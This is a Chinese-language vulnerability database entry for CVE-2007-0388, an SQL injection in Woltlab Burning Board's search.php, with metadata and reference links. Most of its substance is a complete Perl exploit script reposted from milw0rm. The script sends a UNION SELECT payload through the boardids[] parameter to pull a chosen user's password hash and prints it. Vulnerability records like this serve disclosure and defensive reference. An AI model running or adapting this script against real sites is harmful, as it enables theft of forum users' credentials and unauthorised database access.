Woltlab Burning Board 'search.php' SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1112030 漏洞类型 SQL注入
发布时间 2007-01-17 更新时间 2007-01-19
CVE编号 CVE-2007-0388 CNNVD-ID CNNVD-200701-343
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/3146
https://www.securityfocus.com/bid/82006
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200701-343
|漏洞详情
WoltlabBurningBoard(wBB)1.0.2及之前版本和2.x系列中的2.3.6及之前版本中的search.php中存在SQL注入漏洞。远程攻击者可借助boardids[1]和其他board[]参数执行任意SQL命令。
|漏洞EXP
#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Response;

$| = 1;
print "
###################################################
##
## Woltlab Burning Board 2.3.6 <= / Lite Exploit 
##
###################################################
##
## Coded by 666 <http://blueshisha.mutebox.net>
## Bug by trew
##
###################################################
\n";

if($#ARGV < 0)
{
        print "[x] Usage: wbbsploit.pl [Target] [Userid] [Searchstring]\n";
        exit;
}
print "<~> Exploiting...\n";
my $url = shift;
my $id = shift;
my $sstring = shift;

my $ua = LWP::UserAgent->new;
my $request = new HTTP::Request('POST', 'http://'.$url.'search.php');
$request->content('searchuser=&name_exactly=1&topiconly=0&showposts=0&searchdate=0&beforeafter=after&sortby=lastpost&sortorder=desc&send=send&sid=&submit=Suchen&boardids%5B%5D=1)%20UNION%20SELECT%20username,password%20FROM%20bb1_users%20WHERE%20userid='.$id.'/*&searchstring='.$sstring.'');
$request->content_type('application/x-www-form-urlencoded');
my $response = $ua->request($request);
my $body     = $response->content;
print "<~> Hash: ";
$body=~/([a-f0-9]{32})/;
print $1;
print "\n";

# milw0rm.com [2007-01-17]
|受影响的产品
Woltlab Burning Board 2.3.6 Woltlab Burning Board 1.0.2
|参考资料

来源:XF
名称:wbb-search-sql-injection(31550)
链接:http://xforce.iss.net/xforce/xfdb/31550
来源:MILW0RM
名称:3144
链接:http://www.milw0rm.com/exploits/3144
来源:MILW0RM
名称:3143
链接:http://www.milw0rm.com/exploits/3143
来源:OSVDB
名称:33872
链接:http://osvdb.org/33872
来源:MILW0RM
名称:3144
链接:http://milw0rm.com/exploits/3144
来源:MILW0RM
名称:3143
链接:http://milw0rm.com/exploits/3143